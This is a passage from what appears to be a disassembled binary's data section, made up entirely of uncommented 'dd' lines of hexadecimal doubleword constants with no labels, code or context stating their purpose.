dd 5ABE00B2h, 52CD6207h, 7900821Bh, 28DC615Bh, 189F8E3h
dd 9B2F6BB4h, 0E97E131Ch, 0EA2880B6h, 0A2F6C821h, 265C076Eh
dd 87A0795Fh, 75C0EE44h, 87DB3AEFh, 0D3721913h, 343F40Eh
dd 0C1D238E3h, 7470182Bh, 0BE020027h, 0FE10C478h, 173E191Ch
dd 0EA6B0076h, 3E4E25DBh, 0B9E505B7h, 805EED98h, 2450B6D0h
dd 0FC7B9600h, 0E310F07Fh, 14E0084h, 15773DEBh, 860AC925h
dd 0BC6C0398h, 24702Fh, 9153B1E1h, 0BB605E6Eh, 78F7100h
dd 0F5AADC55h, 95CC127Eh, 6FB840BEh, 803BE2C7h, 0B1590C00h
dd 3CA5058Fh, 0A6AE0065h, 436473CEh, 0BC0C6AEFh, 68900B2Bh
dd 343C098Bh, 645EBBC5h, 4F5CAB00h, 580B9Bh, 3CFD3ADAh
dd 633F47C7h, 8DAA051Eh, 0CDF43830h, 0B868180Ch, 3082108Eh
dd 0BD4A520Ch, 205798F8h
dd 0D52772FCh, 0C124017Ch, 0ABC4514Eh, 50A100F4h, 115DE008h
dd 3F002BD9h, 727880AFh, 544BD81h, 0A74A6DFFh, 17AB8C9h
dd 5351F49Fh, 20212Bh, 0C07A01E9h, 0DAEA5E3Eh, 0ED07F434h
dd 0D8000898h, 44B3AEFAh, 299FA5h, 4671D122h, 0F41EF725h
dd 4E0181F0h, 2A423AF0h, 0A860F50Dh, 3B620071h, 0B91E8CBFh
dd 0AF092F72h, 81DB5569h, 6797FFE8h, 19081C4h, 6202F9BEh
dd 0F8BB5D61h, 0C4E0EBECh, 9A832326h, 0BC5C4100h, 0C49A8CAh
dd 5BF055DCh, 350FB311h, 666D4454h, 97838C2h, 0ECB78A08h
dd 59095C6Ch, 71505Fh, 75C2F3E8h, 9F3F00F0h, 0CF911D2Dh
dd 0D4127C4Fh, 0A00033D6h, 685AB34Eh, 245F4E1h, 700A0ECCh
dd 2870116Bh, 0D3C0F11Dh, 0F5956E80h, 2587B91h, 42E41225h
dd 0BC689985h, 5600D7E2h, 0F13E7EADh, 0C7DFC6h, 7C8EB9C8h
dd 370CFDD9h, 0AA359500h, 0D2F4A4F7h, 26F845h, 0F6D7A9ACh
dd 5DC249E8h, 0A87A3Ch, 6A545205h, 7CE1B76h, 979A383Eh
dd 0B8DE40F5h, 0D5132D68h, 0C8C1DBD9h, 0D8F09F6Eh, 7B6A004Fh
dd 23038869h, 0F000A4F4h, 0B7E6DD05h, 1211CC8Dh, 0B1DEBC0h
dd 9020910Dh, 6DF6F75h, 9289B01h, 61D559C4h, 0BD868480h
dd 71896468h, 7F925E02h, 0E83484CCh, 287C87Ch, 18D3790h
dd 9C4062B4h, 300CC16h, 3999AFA6h, 0E0AE57h, 189109C0h
dd 0EEA9B9DDh, 3BAB471Eh, 80886440h, 43018Ch, 0EAAD495Ah
dd 0FD3620E7h, 4E5EA8A0h, 0DE191600h, 241E32D6h, 6576012Eh
dd 0E0A5B386h, 0F00AF356h, 0DE7E897Ah, 20669800h, 17C19DDh
dd 0F0FEEE82h, 2005E059h, 0E97A63DCh, 79D60A00h, 0CE4BFB49h
dd 362B0198h, 8873AFB4h, 2EBF42Fh, 0D0134800h, 0CEFF5503h
dd 762B0051h, 0F7CA8BC5h, 47005442h, 4B65F492h, 50DF26C2h
dd 35F8870h, 0D4E49C08h, 0CFA6187h, 0DEE2E8E0h, 9467F000h
dd 10F89E82h, 0AB12010Dh, 31D70411h, 4BEF43D1h, 7B0011D6h
dd 30663CCFh, 226502Eh, 4EBA1B55h, 0ACC006E6h, 1109AC03h
dd 918FABD2h, 1C8C158h, 44414CCDh, 0E10D8105h, 0E0E80005h
dd 0BD9AEDD9h, 0FC0C0304h, 0B4E0C031h, 3A0744B8h, 0A6FBCC1Dh
dd 60078E6h, 7ABA51C1h, 0E8EE4C7Ch, 0AB188807h, 0E0ED74D1h
dd 96005CBCh, 12DF3861h, 0E09D013Dh, 0E1E0926h, 0F1802357h
dd 94B7F24Ch, 2F2B3F03h, 7686Eh, 0D5ADD6A0h, 9DA76A27h
dd 5991DE00h, 337D54C2h, 5C2C001Ah, 0A5AF6EC7h, 0A60BB4E6h
dd 8B98B06Ch, 3DDD00BBh, 510A875Dh, 0C0E4B90Bh, 30DC4CA5h
dd 0F6B1AF00h, 6E1E1176h, 0B272DF00h, 1C0A6CB8h, 0B0E1009Ch
dd 19D2F3D5h, 8C0904B4h, 8710FAADh, 80A669Ch, 6745C301h
dd 71D41D27h, 0D7120477h, 0C8A70618h, 4700A530h, 0B0194838h
dd 123A3722h, 0C0ED53FFh, 0C88DDE24h, 0B69D8500h, 68B9F7E5h
dd 95E30760h, 0E06CAB8Eh, 0EDDF9CF5h, 2FF3C40Eh, 9F1CC18Ch
dd 0D7F44C04h, 0EC7A0024h, 6DAA6652h, 0F207449Ch, 0B85540C4h
dd 371B07F0h, 70B70B49h, 40150D0h, 0CD3E81EDh, 8FFFCB5h
dd 0E64C8E1Dh, 0C21309C0h, 0D08203h, 16E25A2Ah, 0F045A597h
dd 1D7438E5h, 654032ADh, 0E272631Eh, 35E61785h, 30E442C9h
dd 0FD604275h, 0C8007B26h, 25C1B51Dh, 771A11h, 0D7BB1CC5h
dd 69F3BF2Fh, 17424600h, 196323BCh, 3029060h, 30B9A651h
dd 0DFD8EE5Ch, 92091BC3h, 4007425Ah, 49B0FAD4h, 790048E0h
dd 15C85065h, 0C6034FA8h, 76EE6695h, 5F2100E1h, 75B7075Eh
dd 0EA0E4FA6h, 83E3A8DDh, 750586F9h, 168C151h, 0F57D0A07h
dd 254FD0BEh, 0E42C0400h, 0B0ADF0C3h, 0DDC000BCh, 16A63D5Dh
dd 890C742Eh, 0B0D797FBh, 864BA0h, 226CDB48h, 880CC331h
dd 5807551Fh, 0E60E19F5h, 93F0991Ch, 0DF0C2088h, 0A2270F4h
dd 9DB2D1FAh, 0B1F20424h, 0B66D066Ah, 0DEEC40C1h, 42FAEA06h
dd 217F2Eh, 8A869AF2h, 810E3F77h, 5CBA2A09h, 27805770h
dd 0FC4B6B3h, 0E0076A0Eh, 2F5A8083h, 6C0BCAh, 0AD7047DCh
dd 0F6F19203h, 7F2B5500h, 14736741h, 727FA07h, 0E48CEF82h
dd 0A8E060B9h, 78982601h, 0C514FE00h, 20075938h, 560F6004h
dd 9D8185D4h, 4D427004h, 0C907339h, 2E23CDE5h, 809CC40Dh
dd 27164F40h, 92074B5Fh, 0D68E3AF3h, 68BF80BEh, 7BC02AAAh
dd 0D0BE0036h, 748DFE59h, 0C300CE11h, 43D67CAh, 5948CBE4h
dd 2D7C2C90h, 78878968h, 111EE0E5h, 6B00366Ch, 0DCDA7479h
dd 0E2A4C1h, 0CF2F6881h, 80E57065h, 0A7291F64h, 11A69B21h
dd 313D0BBh, 73D34484h, 44A96444h, 6744CE37h, 5E2F442Dh
dd 44AFEC44h, 5C42D863h, 5B0410B6h, 76C2FA40h, 0EC7C306Eh
dd 0B8B73Dh, 18F875CEh, 0EDAF4Dh, 0B254C404h, 1C490EAEh
dd 0FC2ACC07h, 6A8023ECh, 1E306CE3h, 408EDA37h, 0D9F14353h
dd 6E0011BBh, 9BCBA5CDh, 1F02FFFBh, 0BA9410h, 8E55B8D0h
dd 1200C66Dh, 26BE8D48h, 0E813A840h, 4180F32Ch, 4F3B1D9Dh
dd 0CF003FBCh, 3C44A0B2h, 0C5AA89h, 527B864h, 2D5FEF76h
dd 8094CC38h, 0DF84254Ch, 60D5Ch, 2368A686h, 431E6B38h
dd 1169AC00h, 808AA1B2h, 54590050h, 10A40F84h, 1602869Ch
dd 0C8B22A3Ch, 9C05749h, 0A1C3663h, 1F001DBDh, 53D33F54h
dd 8B5103C2h, 0A602111Ah, 10DD14D8h, 49EACC0Fh, 0A1C912h
dd 372FA5F0h, 9AE400F9h, 0B2032BC8h, 9FF09E7Ah, 0A8049400h
dd 8EA6D461h, 856F0040h, 1BAB0287h, 66FA9D33h, 83FC7F3Fh
dd 8AC0486Eh, 0D0C8F1F8h, 5F928C40h, 0A77825h, 93C47AD8h
dd 994630B2h, 52E98D03h, 0B0DDE35Eh, 5B15B1h, 58F18A4Fh
dd 4649FCCEh, 818C1300h, 0A2D71680h, 174B03CAh, 876E6DAh
dd 0D6E743B8h, 1C964600h, 0E3698134h, 0C52101A2h, 259E2CE1h
dd 0EDAC2477h, 6FB44800h, 22F213D4h, 50E93ADBh, 8B03713Bh
dd 73CFABF9h, 3C8232B8h, 2EFEE50Eh, 7E4283F5h, 9721C704h
dd 0FEC5CAAh, 0F4C509B5h, 2C807269h, 0F5E5F358h, 54DBCF00h
dd 4EC8F83Bh, 7D3C0F59h, 0F2E0D372h, 6F0D8CC7h, 25905F73h
dd 3E06EF38h, 2F2A0777h, 0A38104F7h, 0E5E093AAh, 79B089h
dd 604E2DF9h, 0F87FB1F0h, 0B8BB7C1Fh, 2EF45800h, 45B903h
dd 996E4382h, 253604E3h, 84A067E0h, 441FB675h, 61428A70h
dd 405309ADh, 68239Eh, 0CDCE5940h, 0F3458266h, 98EC3E09h
dd 0FFB000D3h, 761CFC38h, 7AB019h, 7ADB8109h, 15D1C4D0h
dd 3072D200h, 5B6E42A2h, 0ACE84CDAh, 0DDF9D500h, 0CAE2938Ah
dd 0A1C7691Fh, 3A00AC68h, 2C49D1F2h, 4D38DCh, 1F371199h
dd 6E5A5D4Eh, 3E84F33Eh, 0F6D88E0Ah, 3B42A05Fh, 18BC152Eh
dd 80728199h, 8D7E7E4Fh, 0B10025FEh, 33756601h, 24AB44h
dd 453F991Ah, 0AFD9FE35h, 0D860A300h, 8C4C61EBh, 4FA19h
dd 999A92C1h, 824209F1h, 0C9280600h, 0D3DBC2D5h, 329D1F3Bh
dd 2ADC801Dh, 71F7AD05h, 6E8BE907h, 4250118Eh, 39ED6B5Ah
dd 0A802FCDEh, 89EB4FD3h, 16C70C40h, 7F18E9E4h, 58306563h
dd 0AFCA006Bh, 4D9A3381h, 0A4BAC118h, 103F0224h, 3FFD01Eh
dd 4EC66AE7h, 9F728093h, 751B046Fh, 0C0F881D3h, 0ED4C894Ah
dd 39B81900h, 0F2994A70h, 0E4C401A0h, 5B617EF5h, 0CB302037h
dd 6665AA00h, 0A8625209h, 1C9A00ADh, 0B8EFDBDCh, 0EA0078B5h
dd 0E3A30210h, 0DA3BC0h, 0ACFC153Dh, 4D113BEh, 8A364600h
dd 0D565ABA3h, 0F801002Bh, 6D62AD03h, 1BF6F066h, 34A02D00h
dd 0A9EF2191h, 701800AFh
dd 89AD1D23h, 0EA775DA6h, 0B20EBD00h, 80083A57h, 0FD32984Fh
dd 14C6670h, 2F7B51AEh, 0D8ACF32Ah, 3B00057Ah, 1BF961EFh
dd 1F452E5Bh, 82F19A2Ch, 0B752F40h, 0AB014C60h, 0C605BE0Ch
dd 0B1FEC066h, 85F10000h, 0ACCCF5B6h, 0D7AA6B1Dh, 40D2FC0h
dd 0BCD422h, 91E0162Bh, 0DDCF29C5h, 3B093679h, 80DEE91Bh
dd 0EF0E064Ch, 35BD00A6h, 0ECFBC6C2h, 0E90188Dh, 58A58726h
dd 16F6AD87h, 238AFAD0h, 39D9003Ah, 0A3E0FB30h, 0D31F730Ch
dd 7EEE1BC8h, 0C05BE325h, 281C164Bh, 0E88F52h, 740B3403h
dd 14B7DE35h, 1856AD03h, 90B90999h, 374008h, 5BE339FCh
dd 492E95Dh, 74426B00h, 0ABD6DAE2h, 19400B7h, 0D7862CA3h
dd 7200C00Ch, 0AE0757E8h, 0C82021h, 0A32622C3h, 33D51550h
dd 9F04AD0Fh, 0CBF28055h, 94D421C1h, 6399000Ch, 0C4964D2h
dd 55A88B07h, 9150E576h, 72D0E8B9h, 71E4160Fh, 0D79000D3h
dd 0DEDF2EC5h, 25090D00h, 0CA5810D8h, 6C063F15h, 2E52B07Ch
dd 173ABD08h, 9CFB1056h, 34BEC280h, 7603EDC0h, 0BB7D6DC9h
dd 0EAE8C079h, 2C4C0371h, 3686949Ch, 30A08B98h, 0F5DCF801h
dd 204C4A6h, 0FBD824h, 6BEFE88Ah, 327D5367h, 77861201h
dd 0D698297Ch, 4865D7C0h, 387C70DDh, 48276B9Dh, 0C22ADC01h
dd 200644Fh, 0FF0698E6h, 0C0C6A305h, 6012039h, 78F8CC09h
dd 38A8007Ch, 39FBD203h, 4D80804Ch, 162818Eh, 9600915Bh
dd 87F52F9Fh, 3DA68CABh, 55BBC4BAh, 9816E880h, 8628CA97h
dd 2CC9C600h, 8F8C9C71h, 49F90081h, 0D5C1CF4Dh, 52F80105h
dd 8324EA3Ah, 86223004h, 838AC03Bh, 351A00E8h, 0FDDEEBA4h
dd 2059E62h, 95D2AFF8h, 9F00FC0h, 0CEEA005Ch, 8881900Bh
dd 49584D71h, 9AE900E6h, 0DF23B084h, 51AA03A0h, 0B9D50C43h
dd 67C89FB3h, 4B006AEDh, 0DA72FBFFh, 98A6191h, 0ACFE8E47h
dd 0A0E9C287h, 350842F8h, 883A8C00h, 0F569EB2Ah, 6B3F00B1h
dd 0E023D8C3h, 3C000A18h, 0F4C25C1Dh, 908917E1h, 6FB00076h
dd 84D6C99Fh, 0A2005B39h, 0B1CF0B74h, 0C77C728h, 9BA18FCDh
dd 0FF2E8240h, 95033D54h, 9649E478h, 3B6E1F7Ah, 0F1D580C7h
dd 0D829CCA3h, 3CFA803Ch, 0BB0B806Ch, 42B0F302h, 78351E7Ch
dd 0FABE0008h, 0A0611879h, 0DC8E1503h, 0A033F80Dh, 20D839h
dd 0F1A7BEE3h, 2843BB12h, 2F785400h, 294B0387h, 79E176A9h
dd 80C40CCBh, 0B2F26B23h, 90046B0h, 7175DAD0h, 7913CEA4h
dd 0F42A78A1h, 933F4CF6h, 0DC159500h, 0FA36F93h, 50C7A700h
dd 0F463116Ch, 1BEEA8h, 3F0E50Ah, 15BEA9D9h, 92DCB603h
dd 0F86DC595h, 75CE29h, 721846F3h, 8D11AB7Fh, 7AB3C805h
dd 8400FDFCh, 790295ACh, 605F3E6Bh, 9A6D9386h, 7100E2CEh
dd 90A2BD76h, 0E0A5CCh, 4AA0ED7h, 5A51A02Ah, 0AE71C203h
dd 0C8E91D7Dh, 2CD387EEh, 0CFC594h, 78B89A88h, 0AF000BEFh
dd 7663D1F7h, 298792h, 43ABF1D6h, 39B46E04h, 5F27F800h
dd 0CE57B84Fh, 0C11A00ECh, 0B971D7D1h, 6802AADCh, 0B81D5FD3h
dd 809C895Bh, 475D48F8h, 94C001F7h, 7233E98Eh, 5652CC0Fh
dd 2C3DF201h, 7764DB9Dh, 535A841h, 48E40161h, 9BE0032h
dd 81EAB930h, 8E1EB479h, 9DDCFFCBh, 183E77C0h, 8DF82Ch
dd 18BB7ACh, 0F38CE36Ah, 41B6E003h, 0F83E8097h, 30479864h
dd 90D02BB8h, 2203B150h, 5EA973DEh, 2A698848h, 0F6390086h
dd 67339EE5h, 8013028h, 0BF8EB36Fh, 0A9EC643Dh, 0B27E7Bh
dd 0FF8D40E0h, 0D68FABEDh, 3D162C0Eh, 0D009B388h, 739400F3h
dd 1E55E9C2h, 66B401h, 0AC58FB89h, 7D00CED3h, 6751470Bh
dd 3DA3EFCh, 25E04C7Ah, 17E00AF1h, 14005C6Ch, 5A0281AEh
dd 0FEB2FA1Eh, 0DCCE0077h, 0D5F9A455h, 62038AE3h, 0D9E486B7h
dd 68800015h, 145DAD25h, 651F352Ah, 23801109h, 0CAFF1F4Fh
dd 12952401h, 73A50094h, 3C402FBBh, 2A500500h, 69C811Ah
dd 0B3313A11h, 0A18068BCh, 0BD5D28E4h, 5C0095E7h, 0AFF77A7Ch
dd 17328185h, 14D23158h, 4976CC5Eh, 3400C8F5h, 57E9ED51h
dd 7A09B1D0h, 0EE3B18h, 73A60779h, 6438039Dh, 0D232A062h
dd 8BC04DB8h, 0ECB55700h, 557DF151h, 0E2A70095h, 5ADE3D52h
dd 0FD2859B9h, 32009C7Ch, 0F034C630h, 0BBF541h, 0C209BC22h
dd 0C8B3AE1Fh, 3518A600h, 0A87AF75h, 0F47C00EFh, 4E38FE06h
dd 24007BDFh, 277EFD39h, 70CD1830h, 78F60307h, 0BA97A1EDh
dd 8D388790h, 8ECC4024h, 0F00ACF00h, 26683981h, 48DB15h
dd 0B29F277Bh, 18007D9Bh, 6560088Eh, 3D9692h, 73C30CFCh
dd 15724833h, 712B2701h, 3A44E6A9h, 3FF2ADE0h, 0E4818892h
dd 0CF2062A7h, 0F84C2107h, 7300101Eh, 185EF6A8h, 0EBE04113h
dd 0C168ECh, 0B3AC4309h, 0E97CD236h, 6895D0Fh, 0D8B7607Bh
dd 0E52DDDh, 85F6B933h, 0E08C459Ch, 610CF800h, 3270361Fh
dd 7F7F065h, 9AFEDB21h, 0D0505068h, 373BAB0Dh, 91190030h
dd 1A0A9241h, 2BB21D2Fh, 6F4D8080h, 0AA752046h, 2C77741Eh
dd 4C780640h, 1F82595h, 6479FB35h, 43287F2Eh, 0BA823F9h
dd 0EF02ABB4h, 0D3D25D3Bh, 53C88064h, 3ABF88h, 0D96CC52h
dd 839467B9h, 8A2AD93Ch, 0E4AE1B87h, 291E5400h, 3248C53h
dd 1DCF76BAh, 5EC86911h, 2A00C396h, 8707BDC9h, 543EF7h
dd 8DD9CA98h, 0B45A23A7h, 0F1249090h, 0FE008474h, 3B8CD7E3h
dd 82150016h, 0E9DCEBE6h, 171D053Eh, 0E3406498h, 0C0B2D6BFh
dd 3A798E1h, 9BEECA36h, 0F380FFF5h, 7C09D348h, 1259ED0h
dd 6113320Ah, 0FA54BEF0h, 14CF005Bh, 9AE2F3Fh, 0A003A7Ah
dd 0E528C549h, 40716E7h, 0B8AC7988h, 2F1C9039h, 1301043Dh
dd 105B2D8Dh, 5DC07E74h, 976F3B4Fh, 39C21989h, 5089CC07h
dd 265FF276h, 32EA10C0h, 812351h, 0A14E588Dh, 629C342Ah
dd 0F970E930h, 10144Ch, 68FB1F7Bh, 5D24401Eh, 0A62F711Ch
dd 1C7DA7C1h, 96C02E65h, 0A8EF09CDh, 3880756Dh, 0A69A393h
dd 0F5EAAF00h, 0EBA9F32Bh, 82B8004Bh, 0BC277FD4h, 4A7F81F1h
dd 3463F03h, 0F0EEA63Ch, 1C051BFh, 9FBBD8DDh, 0E41399ABh
dd 0ACE49A61h, 57E06E00h, 0C02EFEDh, 7D940CE1h, 0E911D3FEh
dd 9797C00h, 7F4D5195h, 0FDE20086h, 7326AF58h, 34A03834h
dd 0D2003BBDh, 0C45F6D66h, 1DFFAF8Fh, 1FEC768Bh, 1129EA6h
dd 6BF4C083h, 57BDE443h, 0A29C1700h, 1B0365C1h, 442F0080h
dd 5C5696D5h, 7D0085F3h, 6F83D706h, 971A7Bh, 0FEE864A8h
dd 0F5E4B62Fh, 0E96B9A00h, 28D77C03h, 59FD00DAh, 0C5CF44B1h
dd 0AA0F823Dh, 6014D53Fh, 47101D21h, 0C24D025Bh, 0A185F070h
dd 55ABFE0h, 46272801h, 0AD1CCD37h, 403470h, 0B264BCD7h
dd 0CC44C21h, 44E2940Fh, 0C34B2E19h, 0F81D27B1h, 9A46D2h
dd 0BF6482CFh, 556F98B5h, 8C0A4F00h, 0DBC4B407h, 606A01C2h
dd 0FA2C5727h, 2271A7h, 43E74190h, 9FA65200h, 83F4D907h
dd 803A077Bh, 5F7E4BF6h, 0FA2B81E0h, 3700F095h, 0FC3521E7h
dd 0CF29AFh, 54AD06ABh, 52F3AE18h, 0EA974600h, 0C558C4Dh
dd 0C83E0208h, 1BCBF1F9h, 0EDA828C3h, 68014D36h, 5FA4B027h
dd 90FB4A77h, 9F7B827Ch, 6011958h, 0E620FF2Eh, 4D9EC53h
dd 39ED20h, 8EE03663h, 5198836Bh, 0FCF1A203h, 0C8B83F2Eh
dd 50A721E9h, 3FEDEC71h, 5480A07Eh, 7D4CC0Eh, 0E7000248h
dd 0BB991B37h, 3BB8C6h, 901772C2h, 0FDDEC4D8h, 11711F31h
dd 0ECE8E65Dh, 0ACED00F5h
dd 0E4C01D4Dh, 7100A3A5h, 0DD46F866h, 0D6A4972Bh, 4D230370h
dd 0A3C01AE7h, 5C37FC49h, 0EE7288F8h, 15148041h, 3ACF4DB0h
dd 9331A02Eh, 8AE7EDDAh, 14919A59h, 983AA811h, 0BE4F5B0Fh
dd 3830E106h, 74A057F6h, 94009FB7h, 0E73827F1h, 16ADC7h
dd 83ABD7E6h, 0F65D1730h, 77B22900h, 0A21E4B79h, 7E6718CBh
dd 9DEB39E6h, 60FC1D14h, 80783F58h, 7302197h, 0E888101Ah
dd 3922281Fh, 0E9460154h, 0BDE46E5Bh, 6551DCBAh, 0A11ED03h
dd 0E03A9D94h, 1FBCC9Bh, 55D01D78h, 6F66F4FAh, 7312E0h
dd 9ADE3B43h, 1F0AAB80h, 0D00607Ch, 0F2D3C5B4h, 2B812C9h
dd 8A3172F3h, 0C980C3F9h, 0D3F8CACh, 445BAF00h, 1E3AABF8h
dd 5F9054h, 0E74F8458h, 25231629h, 0C35CB300h, 0FA610E4Ah
dd 316E195Ah, 20C21E4Dh, 750985C5h, 0D74A59D5h, 38951500h
dd 0CDF42051h, 8B72FB0Fh, 0B39240BEh, 7208AC3Bh, 4B32002Fh
dd 0BAD25F05h, 0E101FEDFh, 0CF2D4B9h, 9C50ECFBh, 2BBB91h
dd 16C63D66h, 1FA86C5Bh, 0B7EE8100h, 82F11DB2h, 70D803C9h
dd 6C6D9E43h, 752A3800h, 573C45D0h, 167C21h, 0F017BD82h
dd 0DC3A785Fh, 69024C1Ch, 0A399E987h, 73C5A225h, 2E741407h
dd 0A0042179h, 0D050E0D5h, 1B0E7E4h, 24DB17E1h, 0C4CA2F0Ch
dd 9400AC8Bh, 0D0DFEE82h, 76D5F16Fh, 96000EDh, 0EF0499C9h
dd 0C475221Eh, 8979F904h, 4894B046h, 40CF2AC2h, 4B540Ch
dd 82E0B306h, 301AEB9Dh, 8633AD3Fh, 95B58E09h, 0D4840091h
dd 0AB869CE5h, 3C2469A0h, 0F9008CC9h, 0AA13C4FFh, 3DE98EEh
dd 310F7787h, 0C8C8F156h, 0E47F6F20h, 0E5A92700h, 26A3097Ah
dd 51DC00B8h, 22EFBAC9h, 0FA00E03Bh, 0B3E65577h, 0F6BD418h
dd 0BB3CC6EAh, 7CD15107h, 0F100C908h, 6B74E83Dh, 368A4E0h
dd 0AF3971F8h, 5E048A3h, 0D2002F5Ch, 0D67703FBh, 0F2727B44h
dd 0A8BA06C8h, 48EE2092h, 4FA7DC07h, 59CC4E3Eh, 250E003Dh
dd 3507A647h, 5800FA93h, 5AA4F2FDh, 0C1D4EC0Fh, 987D7F29h
dd 0D8F0F3F1h, 0CA00C394h, 4AB844A8h, 2FA5D15h, 0C76692CDh
dd 0CC40FD59h, 0D030875Ch, 889741E9h, 8D40021h, 1D761514h
dd 6200E090h, 0CCBDCEBBh, 60C5E683h, 89A299C6h, 0F81531A1h
dd 0B98EFB1h, 670E78h, 467B2BBCh, 483D260Bh, 6C0039A6h
dd 0CD6A74A9h, 0BE3DDE51h, 4A1687DCh, 8B60FDC6h, 0F3F99BBDh
dd 98AE8C43h, 600CDE8Eh, 93B35819h, 0A51E318Bh, 69DD866Ah
dd 5CEB6301h, 9448ECC8h, 103831D1h, 8093A931h, 0E329FD19h
dd 7CE842Dh, 803032FFh, 9D535033h, 0A0C2BF9h, 393F10EAh
dd 0EF6F0088h, 0DC7FF080h, 0BB0CE6AAh, 21EB1101h, 874B001Dh
dd 0A3D1F2C2h, 16005ABFh, 0E4346E52h, 0D095E0h, 70E7A32h
dd 2C5D9F4Bh, 8B863Ch, 62DAE613h, 0F47D8E77h, 0BBCE1C21h
dd 0C406C06Eh, 0FCDD8D12h, 7C03B4F2h, 886227FDh, 0B90A91D8h
dd 1D0C7DC0h, 17EC1D0h, 95EC19B1h, 0A55730CCh, 5AC0D100h
dd 0C4C1D74Ah, 42B7031Ch, 9F400A0Fh, 0C50699C8h, 0FDE309DFh
dd 0E4EB8EC0h, 0E87B8FDDh, 0F8E01924h, 0A4C00F26h, 67E08CBCh
dd 7DEEFA04h, 31CFD50Fh, 853C40D2h, 302DDDE3h, 9B29A6B7h
dd 7380FBB9h, 86D888C9h, 88A5F688h, 3C88B8CFh, 0EE33415Dh
dd 889B6710h, 79C20383h, 0E32398Ah, 0EC111414h, 3C17289Eh
dd 42C68822h, 7CC8110Ch, 31288B28h, 2829CC70h, 5B571088h
dd 413F81BFh, 883E8328h, 8C87B479h, 0F3296FE1h, 24ADC9C7h
dd 3F2F7DF0h, 0CCA003Dh, 0F596B1FAh, 0E8000B30h, 29435AF9h
dd 28F7B818h, 0A4DD3Eh, 212ABAC3h, 8C0B9C80h, 3082054Ch
dd 0F2EE0691h, 0A4D7000Dh, 0B4F12DC1h, 0CC00C7E4h, 0B357BD2Fh
dd 0B85F2Eh, 9D8CE514h, 1F84CA7Fh, 6C9CDE0Eh, 0CDD4406Ah
dd 0E125BA1h, 4FD715E2h, 0C702007Dh, 68B83BEDh, 0F0DA7800h
dd 8730E629h, 0EBE081h, 2FBCB44h, 2BDCF37Eh, 46237D03h
dd 0D0BCE539h, 1D6A1404h, 31FB1Dh, 197D4083h, 4202A86Dh
dd 3E325C81h, 0D32440DEh, 38110055h, 0D468FEAh, 0C500A424h
dd 0EDC6C321h, 0B8A89F63h, 0CB42039Ah, 7F1CBC99h, 8271A1A8h
dd 1D377700h, 498A911Bh, 4C5548A6h, 90027200h, 43274AC6h
dd 702A410Fh, 0D481C08Fh, 4BCB84h, 19C19CCh, 2608BED1h
dd 4800C77Ah, 95A84C11h, 5A6210h, 54FAED46h, 0C20C48Ah
dd 80F5CF3Fh, 8EC8E983h, 0FAA16ADAh, 783F3D75h, 0F3CB5E87h
dd 0FEDC4056h, 0BE7FC7A7h, 0F1F058h, 2ACA0CABh, 39D526h
dd 77B587A3h, 53A5B91Bh, 474B7B1Fh, 0E0F48ACEh, 0B620B4D2h
dd 1A737Fh, 16507037h, 0CF77FD86h, 0AC1DD100h, 0EB568E13h
dd 0DFFE36h, 47580A53h, 0F17220ECh, 4ED7C900h, 0DC33465Fh
dd 94280307h, 0E47FFA70h, 9AE26998h, 0F7E1E81Fh, 59156043h
dd 1BC0B8B7h, 0A8EC88h, 69683C9Ch, 0A1917FB0h, 34C8CD00h
dd 81D927F7h, 6BF10048h, 1E301709h, 0F9058C39h, 0C6046583h
dd 0A09FD80Fh, 3CAC1881h, 0B438001Dh, 6F6CF0D9h, 5DB01B2Ah
dd 0F85D2700h, 24C9937Dh, 63C10791h, 0F01930C6h, 7E350C1Ah
dd 0A13AFE0Fh, 0EA784050h, 7144FEFh, 56236B33h, 45380A0h
dd 83003CDEh, 0A241B582h, 0C7D975h, 692B60C4h, 7D68EAAEh
dd 0B500ED71h, 9E6F64F8h, 0E7C339h, 63F3431Eh, 8D96A2D3h
dd 16135900h, 9F9022B2h, 0D5FB013Dh, 473AD0F1h, 45A4F889h
dd 2B1E0103h, 0A3E0923Bh, 12C08FE3h, 50F846h, 7E96C8Eh
dd 0F6AB6362h, 0E842CF2Ch, 4E83AC00h, 4B8CC3h, 0F80B5B0Fh
dd 0EF561AFEh, 0E31EE09Fh, 2EA6015Ch, 38669724h, 44C7F06Fh
dd 5972901Ch, 9106BB00h, 4CFA41h, 0C008FF73h, 0F9ED774Eh
dd 0B5074B00h, 2506D523h, 340A00F2h, 9247B461h, 0CE3D4D4Eh
dd 598B87EAh, 0DCB01889h, 1899F8F4h, 822A2743h, 0E8028F41h
dd 69AE5D06h, 570880B2h, 0EA0F3A8h, 280C4BD4h, 0DA8E0072h
dd 0D9E8D294h, 95C348h, 8D58DC2Ch, 0C456B4h, 4D42DF7h
dd 0BAE9141Bh, 8054C7Dh, 0ADA6DBC6h, 0ACE6E400h, 0F5351Ah
dd 174CF009h, 97B6B458h, 1C004E71h, 5B2F7A2Ah, 0F8D85DA7h
dd 0B3C714D3h, 0EC1DEC7Bh, 0D2FB80E6h, 3022ACC4h, 20004C76h
dd 63E748F2h, 71FE78h, 0A8EE943Ah, 9BDA887Ah, 0D9C95B00h
dd 0D5248B53h, 67EB1F2Bh, 10C265Dh, 7B0EEF3Dh, 0D30DEC50h
dd 1BB8291Fh, 2F6B007Dh, 0F44D1307h, 0C47F6FBh, 0CC901778h
dd 0C7163072h, 7A0E03C1h, 97B74080h, 412B08h, 9FF28BF4h
dd 50662E69h, 3A449203h, 0D03853CCh, 5021B86Dh, 8FCF55h
dd 0AA8BE042h, 15B3FCEBh, 1310EC00h, 463215Fh, 18D43D67h
dd 6D76AD80h, 16D67932h, 34131700h, 5D23AB6Bh, 0A63902E0h
dd 2645080Ah, 2440882h, 0B5B64BC0h, 88BAB213h, 0E029C80Fh
dd 0C4810663h, 579C0083h, 0E7A16EACh, 0AD1D60F9h, 0A303F2ABh
dd 0B80DC29Dh, 1E1C56BBh, 0C45DFAEEh, 0C07C9990h, 3549D646h
dd 3316E401h, 54C312D0h, 24E22F4h, 696CC5BFh, 1F40DE37h
dd 9400C83Ah, 0E3091027h, 1D79407Ch, 80ADD21Bh, 0BD73BCDDh
dd 0E8008B0Eh, 4FBBDFA0h, 3209B7h, 0C279F2CFh, 0BE9ADAFEh
dd 6A86FC00h, 0E5CD2C25h, 741200A1h, 1DD08D5Eh, 0CBF272C2h
dd 4B42CA00h, 46ECE570h, 0AF400001h, 0E083A958h, 0B400C22Eh
dd 0FF501BBEh, 0F65F3Fh, 0E4CCB89Fh, 0BF3DECB9h, 802C2F3Ah
dd 0F08A40EEh, 61CFF8h, 8C77908Dh, 62F5DA86h, 58475F1Dh
dd 5E4F4C0h, 6803CBh
